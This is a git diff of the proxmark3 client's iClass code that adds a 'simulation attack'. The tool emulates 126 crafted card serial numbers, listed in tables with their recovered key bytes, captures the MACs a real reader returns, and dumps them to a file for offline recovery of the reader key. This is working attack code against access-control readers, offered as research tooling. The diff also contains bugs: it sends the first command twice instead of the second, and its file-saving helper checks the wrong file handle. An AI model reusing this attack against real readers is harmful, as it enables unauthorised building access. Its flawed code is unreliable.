]> git.zerfleddert.de Git - proxmark3-svn/blobdiff - client/cmdhficlass.c
More work on iclass simulation attack
[proxmark3-svn] / client / cmdhficlass.c
index 13ffc8ba750aecbbf598e0cc8cd306e3b83b2655..f31bced7415c731512f4e8c8676ddd7a79688bd4 100644 (file)
@@ -12,6 +12,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <sys/stat.h>
 #include "iso14443crc.h" // Can also be used for iClass, using 0xE012 as CRC-type
 #include "data.h"
 //#include "proxusb.h"
@@ -328,20 +329,19 @@ int CmdHFiClassSim(const char *Cmd)
          PrintAndLog("--simtype:%02x csn:%s", simType, sprint_hex(CSN, 8));
 
   }
-  if(simType > 2)
+  if(simType > 5)
   {
          PrintAndLog("Undefined simptype %d", simType);
          return 1;
   }
   uint8_t numberOfCSNs=0;
 
-  UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
-  memcpy(c.d.asBytes, CSN, 8);
+       if(simType == 2)
+       {
+               UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
+               UsbCommand resp = {0};
 
-  if(simType == 2)
-  {
-         c.arg[1] = 10;//10 CSNs
-         uint8_t csns[] ={
+               uint8_t csns1[] ={
                          /* Order    Simulated CSN                               HASH1           Recovered key bytes */
                          /*   1   */ 0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0,// 0101000045014545 00,01 45
                          /*   2   */  0x03,0x0B,0x0E,0xFE,0xF7,0xFF,0x12,0xE0,// 0202000045014545 02
@@ -373,21 +373,156 @@ int CmdHFiClassSim(const char *Cmd)
                          /*   28  */  0x02,0x07,0x01,0x1D,0xF7,0xFF,0x12,0xE0,// 630F000045014545 0F
                          /*   29  */  0x04,0x7F,0x7F,0xA7,0xF7,0xFF,0x12,0xE0,// 5911000045014545 11
                          /*   30  */  0x04,0x60,0x6E,0xE8,0xF7,0xFF,0x12,0xE0,// 1822000045014545 18
-                       };
-         memcpy(c.d.asBytes, csns, sizeof(c.d.asBytes));
-
-  }
-
-  SendCommand(&c);
+                         /*31*/ 0x04,0x77,0x77,0xBF,0xF7,0xFF,0x12,0xE0, // 4119000045014545 19
+                         /*32*/ 0x00,0x69,0x6D,0xE5,0xF7,0xFF,0x12,0xE0, // 1B23000045014545 1B
+                         /*33*/ 0x01,0x69,0x6E,0xE2,0xF7,0xFF,0x12,0xE0, // 1E22000045014545 1E
+                         /*34*/ 0x02,0x6B,0x6D,0xE1,0xF7,0xFF,0x12,0xE0, // 1F23000045014545 1F
+                         /*35*/ 0x01,0x3F,0x04,0xE0,0xF7,0xFF,0x12,0xE0, // 200C000045014545 20
+                         /*36*/ 0x02,0x6E,0x6E,0xDC,0xF7,0xFF,0x12,0xE0, // 2422000045014545 24
+                         /*37*/ 0x05,0x6D,0x6E,0xDA,0xF7,0xFF,0x12,0xE0, // 2622000045014545 26
+                         /*38*/ 0x06,0x6F,0x6D,0xD9,0xF7,0xFF,0x12,0xE0, // 2723000045014545 27
+                         /*39*/ 0x01,0x6B,0x68,0xEC,0xF7,0xFF,0x12,0xE0, // 1428000045014545 28
+                         /*40*/ 0x04,0x6F,0x6F,0xD7,0xF7,0xFF,0x12,0xE0, // 2921000045014545 29
+                         /*41*/ 0x02,0x66,0x66,0xF4,0xF7,0xFF,0x12,0xE0, // 0C2A000045014545 2A
+                         /*42*/ 0x00,0x61,0x65,0xFD,0xF7,0xFF,0x12,0xE0, // 032B000045014545 2B
+                         /*43*/ 0x00,0x62,0x64,0xFE,0xF7,0xFF,0x12,0xE0, // 022C000045014545 2C
+                         /*44*/ 0x01,0x65,0x62,0xFE,0xF7,0xFF,0x12,0xE0, // 022E000045014545 2E
+                         /*45*/ 0x02,0x67,0x61,0xFD,0xF7,0xFF,0x12,0xE0, // 032F000045014545 2F
+                         /*46*/ 0x00,0x5F,0x5B,0x13,0xF7,0xFF,0x12,0xE0, // 6D35000045014545 35
+                         /*47*/ 0x00,0x44,0x4E,0x48,0xF7,0xFF,0x12,0xE0, // 3842000045014545 38
+                         /*48*/ 0x00,0x53,0x57,0x27,0xF7,0xFF,0x12,0xE0, // 5939000045014545 39
+                         /*49*/ 0x00,0x49,0x4D,0x45,0xF7,0xFF,0x12,0xE0, // 3B43000045014545 3B
+                         /*50*/ 0x01,0x49,0x4E,0x42,0xF7,0xFF,0x12,0xE0, // 3E42000045014545 3E
+                         /*51*/ 0x02,0x4B,0x4D,0x41,0xF7,0xFF,0x12,0xE0, // 3F43000045014545 3F
+                         /*52*/ 0x02,0x4E,0x4E,0x3C,0xF7,0xFF,0x12,0xE0, // 4442000045014545 44
+                         /*53*/ 0x05,0x4D,0x4E,0x3A,0xF7,0xFF,0x12,0xE0, // 4642000045014545 46
+                         /*54*/ 0x06,0x4F,0x4D,0x39,0xF7,0xFF,0x12,0xE0, // 4743000045014545 47
+                         /*55*/ 0x01,0x77,0x7C,0xB8,0xF7,0xFF,0x12,0xE0, // 4814000045014545 48
+                         /*56*/ 0x04,0x4F,0x4F,0x37,0xF7,0xFF,0x12,0xE0, // 4941000045014545 49
+                         /*57*/ 0x00,0x7A,0x7C,0xB6,0xF7,0xFF,0x12,0xE0, // 4A14000045014545 4A
+                         /*58*/ 0x00,0x41,0x45,0x5D,0xF7,0xFF,0x12,0xE0, // 234B000045014545 4B
+                         /*59*/ 0x00,0x42,0x44,0x5E,0xF7,0xFF,0x12,0xE0, // 224C000045014545 4C
+                         /*60*/ 0x01,0x45,0x42,0x5E,0xF7,0xFF,0x12,0xE0, // 224E000045014545 4E
+                         /*61*/ 0x02,0x47,0x41,0x5D,0xF7,0xFF,0x12,0xE0, // 234F000045014545 4F
+                         /*62*/ 0x04,0x7E,0x7C,0xAE,0xF7,0xFF,0x12,0xE0, // 5214000045014545 52
+                         /*63*/ 0x00,0x57,0x53,0x2B,0xF7,0xFF,0x12,0xE0, // 553D000045014545 55
+                         };
+               memcpy(c.d.asBytes, csns1, sizeof(c.d.asBytes));
+
+               SendCommand(&c);
+               if (!WaitForResponseTimeout(CMD_ACK, &resp, -1)) {
+                       PrintAndLog("Command timed out");
+                       return 0;
+               }
 
-  /*UsbCommand * resp = WaitForResponseTimeout(CMD_ACK, 1500);
-  if (resp != NULL) {
-       uint8_t                isOK  = resp->arg[0] & 0xff;
-       PrintAndLog("isOk:%02x", isOK);
-  } else {
-       PrintAndLog("Command execute timeout");
-  }*/
+               uint8_t num_mac_responses_1  = resp.arg[1];
+               PrintAndLog("Mac responses, first part : %d MACs obtained (should be 63)", num_mac_responses_1);
+
+               UsbCommand c2 = {CMD_SIMULATE_TAG_ICLASS, {simType,63}};
+               UsbCommand resp2 = {0};
+
+               uint8_t csns2[] ={
+                       /*64*/ 0x04,0x3C,0x3A,0x74,0xF7,0xFF,0x12,0xE0, // 0C56000045014545 56
+                       /*65*/ 0x00,0x24,0x2E,0xA8,0xF7,0xFF,0x12,0xE0, // 5862000045014545 58
+                       /*66*/ 0x00,0x29,0x2D,0xA5,0xF7,0xFF,0x12,0xE0, // 5B63000045014545 5B
+                       /*67*/ 0x00,0x00,0x02,0x24,0xF7,0xFF,0x12,0xE0, // 5C0E000045014545 5C
+                       /*68*/ 0x01,0x29,0x2E,0xA2,0xF7,0xFF,0x12,0xE0, // 5E62000045014545 5E
+                       /*69*/ 0x02,0x2B,0x2D,0xA1,0xF7,0xFF,0x12,0xE0, // 5F63000045014545 5F
+                       /*70*/ 0x02,0x2E,0x2E,0x9C,0xF7,0xFF,0x12,0xE0, // 6462000045014545 64
+                       /*71*/ 0x02,0x0A,0x02,0x18,0xF7,0xFF,0x12,0xE0, // 680E000045014545 68
+                       /*72*/ 0x00,0x03,0x07,0x17,0xF7,0xFF,0x12,0xE0, // 6909000045014545 69
+                       /*73*/ 0x00,0x21,0x25,0xBD,0xF7,0xFF,0x12,0xE0, // 436B000045014545 6B
+                       /*74*/ 0x02,0x27,0x21,0xBD,0xF7,0xFF,0x12,0xE0, // 436F000045014545 6F
+                       /*75*/ 0x04,0x07,0x07,0x0F,0xF7,0xFF,0x12,0xE0, // 7109000045014545 71
+                       /*76*/ 0x00,0x04,0x0E,0x08,0xF7,0xFF,0x12,0xE0, // 7802000045014545 78
+                       /*77*/ 0x00,0x33,0x37,0x87,0xF7,0xFF,0x12,0xE0, // 7959000045014545 79
+                       /*78*/ 0x00,0x09,0x0D,0x05,0xF7,0xFF,0x12,0xE0, // 7B03000045014545 7B
+                       /*79*/ 0x01,0x09,0x0E,0x02,0xF7,0xFF,0x12,0xE0, // 7E02000045014545 7E
+                       /*80*/ 0x02,0x0B,0x0D,0x01,0xF7,0xFF,0x12,0xE0, // 7F03000045014545 7F
+                       /*81*/ 0x00,0x34,0x3E,0x78,0xF7,0xFF,0x12,0xE0, // 0852000045014545 08
+                       /*82*/ 0x04,0x66,0x64,0xF6,0xF7,0xFF,0x12,0xE0, // 0A2C000045014545 0A
+                       /*83*/ 0x00,0x3F,0x3B,0x73,0xF7,0xFF,0x12,0xE0, // 0D55000045014545 0D
+                       /*84*/ 0x03,0x3B,0x3E,0x6E,0xF7,0xFF,0x12,0xE0, // 1252000045014545 12
+                       /*85*/ 0x00,0x11,0x15,0xED,0xF7,0xFF,0x12,0xE0, // 137B000045014545 13
+                       /*86*/ 0x00,0x6E,0x68,0xEA,0xF7,0xFF,0x12,0xE0, // 1628000045014545 16
+                       /*87*/ 0x00,0x6D,0x69,0xE9,0xF7,0xFF,0x12,0xE0, // 1727000045014545 17
+                       /*88*/ 0x00,0x6A,0x6C,0xE6,0xF7,0xFF,0x12,0xE0, // 1A24000045014545 1A
+                       /*89*/ 0x00,0x40,0x42,0x64,0xF7,0xFF,0x12,0xE0, // 1C4E000045014545 1C
+                       /*90*/ 0x00,0x77,0x73,0xCB,0xF7,0xFF,0x12,0xE0, // 351D000045014545 1D
+                       /*91*/ 0x06,0x6E,0x72,0xD0,0xF7,0xFF,0x12,0xE0, // 301E000045014545 30
+                       /*92*/ 0x00,0x1B,0x1F,0xCF,0xF7,0xFF,0x12,0xE0, // 3171000045014545 31
+                       /*93*/ 0x01,0x75,0x72,0xCE,0xF7,0xFF,0x12,0xE0, // 321E000045014545 32
+                       /*94*/ 0x00,0x71,0x75,0xCD,0xF7,0xFF,0x12,0xE0, // 331B000045014545 33
+                       /*95*/ 0x00,0x48,0x4A,0x4C,0xF7,0xFF,0x12,0xE0, // 3446000045014545 34
+                       /*96*/ 0x00,0x4E,0x48,0x4A,0xF7,0xFF,0x12,0xE0, // 3648000045014545 36
+                       /*97*/ 0x00,0x4D,0x49,0x49,0xF7,0xFF,0x12,0xE0, // 3747000045014545 37
+                       /*98*/ 0x00,0x4A,0x4C,0x46,0xF7,0xFF,0x12,0xE0, // 3A44000045014545 3A
+                       /*99*/ 0x00,0x20,0x22,0xC4,0xF7,0xFF,0x12,0xE0, // 3C6E000045014545 3C
+                       /*100*/ 0x00,0x1C,0x66,0x40,0xF7,0xFF,0x12,0xE0, // 402A000045014545 40
+                       /*101*/ 0x06,0x4E,0x52,0x30,0xF7,0xFF,0x12,0xE0, // 503E000045014545 50
+                       /*102*/ 0x00,0x7B,0x7F,0xAF,0xF7,0xFF,0x12,0xE0, // 5111000045014545 51
+                       /*103*/ 0x00,0x51,0x55,0x2D,0xF7,0xFF,0x12,0xE0, // 533B000045014545 53
+                       /*104*/ 0x00,0x28,0x2A,0xAC,0xF7,0xFF,0x12,0xE0, // 5466000045014545 54
+                       /*105*/ 0x02,0x53,0x55,0x29,0xF7,0xFF,0x12,0xE0, // 573B000045014545 57
+                       /*106*/ 0x00,0x2A,0x2C,0xA6,0xF7,0xFF,0x12,0xE0, // 5A64000045014545 5A
+                       /*107*/ 0x00,0x7C,0x46,0x20,0xF7,0xFF,0x12,0xE0, // 604A000045014545 60
+                       /*108*/ 0x02,0x03,0x05,0x19,0xF7,0xFF,0x12,0xE0, // 670B000045014545 67
+                       /*109*/ 0x01,0x2F,0x34,0x90,0xF7,0xFF,0x12,0xE0, // 705C000045014545 70
+                       /*110*/ 0x00,0x32,0x34,0x8E,0xF7,0xFF,0x12,0xE0, // 725C000045014545 72
+                       /*111*/ 0x00,0x31,0x35,0x8D,0xF7,0xFF,0x12,0xE0, // 735B000045014545 73
+                       /*112*/ 0x00,0x08,0x0A,0x0C,0xF7,0xFF,0x12,0xE0, // 7406000045014545 74
+                       /*113*/ 0x03,0x37,0x32,0x8A,0xF7,0xFF,0x12,0xE0, // 765E000045014545 76
+                       /*114*/ 0x00,0x0D,0x09,0x09,0xF7,0xFF,0x12,0xE0, // 7707000045014545 77
+                       /*115*/ 0x00,0x0A,0x0C,0x06,0xF7,0xFF,0x12,0xE0, // 7A04000045014545 7A
+                       /*116*/ 0x00,0x60,0x62,0x04,0xF7,0xFF,0x12,0xE0, // 7C2E000045014545 7C
+                       /*117*/ 0x00,0x07,0x03,0x1B,0xF7,0xFF,0x12,0xE0, // 650D000045014545 65
+                       /*118*/ 0x00,0x0C,0x16,0xF0,0xF7,0xFF,0x12,0xE0, // 107A000045014545 10
+                       /*119*/ 0x00,0x6F,0x6B,0xE3,0xF7,0xFF,0x12,0xE0, // 1D25000045014545 25
+                       /*120*/ 0x00,0x2F,0x2B,0xA3,0xF7,0xFF,0x12,0xE0, // 5D65000045014545 5D
+                       /*121*/ 0x00,0x47,0x43,0x5B,0xF7,0xFF,0x12,0xE0, // 254D000045014545 4D
+                       /*122*/ 0x00,0x37,0x33,0x8B,0xF7,0xFF,0x12,0xE0, // 755D000045014545 75
+                       /*123*/ 0x00,0x1F,0x1B,0xD3,0xF7,0xFF,0x12,0xE0, // 2D75000045014545 2D
+                       /*124*/ 0x00,0x67,0x63,0xFB,0xF7,0xFF,0x12,0xE0, // 052D000045014545 05
+                       /*125*/ 0x00,0x0F,0x0B,0x03,0xF7,0xFF,0x12,0xE0, // 7D05000045014545 7D
+                       /*126*/ 0x00,0x17,0x13,0xEB,0xF7,0xFF,0x12,0xE0, // 157D000045014545 15
+               };
+
+               memcpy(c2.d.asBytes, csns2, sizeof(c2.d.asBytes));
+
+               SendCommand(&c);
+               if (!WaitForResponseTimeout(CMD_ACK, &resp2, -1)) {
+                       PrintAndLog("Command timed out");
+                       return 0;
+               }
+               uint8_t num_mac_responses_2  = resp2.arg[1];
+               PrintAndLog("Mac responses, second part : %d MACs obtained (should be 63)", num_mac_responses_2);
+               size_t datalen = 126 * 16;
+               /*
+                * Now, time to dump to file. We'll use this format:
+                * <8-byte CSN><8-byte MAC>....
+                * So, it should wind up as
+                * (63+63) * (8 + 8 ) bytes.
+                **/
+               void* macs = malloc(datalen);
+               uint8_t i = 0;
+               while(i < 63)
+               {
+                       memcpy(macs+i*16, csns1+i*8,8);
+                       memcpy(macs+i*16+8, resp.d.asBytes+i*8,8);
 
+                       memcpy(macs+i*16+63*16, csns2+i*8,8);
+                       memcpy(macs+i*16+8+63*16, resp2.d.asBytes+i*8,8);
+                       i++;
+               }
+               /** Now, save to dumpfile **/
+               saveFile("iclass_mac_attack", "bin", macs,datalen);
+               free(macs);
+       }else
+       {
+               UsbCommand c = {CMD_SIMULATE_TAG_ICLASS, {simType,numberOfCSNs}};
+               memcpy(c.d.asBytes, CSN, 8);
+               SendCommand(&c);
+       }
   return 0;
 }
 
@@ -440,3 +575,53 @@ int CmdHelp(const char *Cmd)
   CmdsHelp(CommandTable);
   return 0;
 }
+
+/**
+ * @brief checks if a file exists
+ * @param filename
+ * @return
+ */
+int fileExists(const char *filename) {
+       struct stat st;
+       int result = stat(filename, &st);
+       return result == 0;
+}
+/**
+ * @brief Utility function to save data to a file. This method takes a preferred name, but if that
+ * file already exists, it tries with another name until it finds something suitable.
+ * E.g. dumpdata-15.txt
+ * @param preferredName
+ * @param suffix the file suffix. Leave out the ".".
+ * @param data The binary data to write to the file
+ * @param datalen the length of the data
+ * @return
+ */
+int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
+{
+       FILE *f = fopen(preferredName, "wb");
+       int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
+       char * fileName = malloc(size);
+
+       memset(fileName,0,size);
+       int num = 1;
+       sprintf(fileName,"%s.%s", preferredName, suffix);
+       while(fileExists(fileName))
+       {
+               sprintf(fileName,"%s-%d.%s", preferredName, num, suffix);
+               num++;
+       }
+       /* We should have a valid filename now, e.g. dumpdata-3.bin */
+
+       /*Opening file for writing in binary mode*/
+       FILE *fileHandle=fopen(fileName,"wb");
+       if(!f) {
+               PrintAndLog("Failed to write to file '%s'", fileName);
+               return 0;
+       }
+       fwrite(data, 1, datalen, fileHandle);
+       fclose(fileHandle);
+       PrintAndLog("Saved data to '%s'", fileName);
+
+       free(fileName);
+       return 0;
+}
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